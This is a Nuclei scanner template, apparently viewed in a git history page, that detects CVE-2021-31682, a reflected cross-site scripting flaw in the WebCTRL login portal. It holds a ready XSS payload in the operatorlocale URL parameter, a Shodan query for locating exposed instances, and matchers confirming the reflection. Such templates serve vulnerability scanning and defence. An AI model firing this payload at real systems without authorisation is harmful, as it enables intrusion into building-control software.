nuclei-templates/cves/2021/CVE-2021-31682.yaml

42 lines
1.3 KiB
YAML
Raw Normal View History

id: CVE-2021-31682
info:
name: WebCTRL OEM - Reflected XSS
author: gy741,dhiyaneshDk
severity: medium
description: The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-31682
- https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-31682
cwe-id: CWE-79
tags: cve,cve2021,webctrl,xss
metadata:
shodan-query: 'html:"/_common/lvl5/dologin.jsp"'
requests:
- method: GET
path:
2021-10-31 11:26:16 +00:00
- '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
2021-10-31 11:26:16 +00:00
condition: and
words:
- '"><script>alert(document.domain)</script>'
- 'common/lvl5'
- type: word
2021-10-31 11:26:16 +00:00
part: header
words:
- "text/html"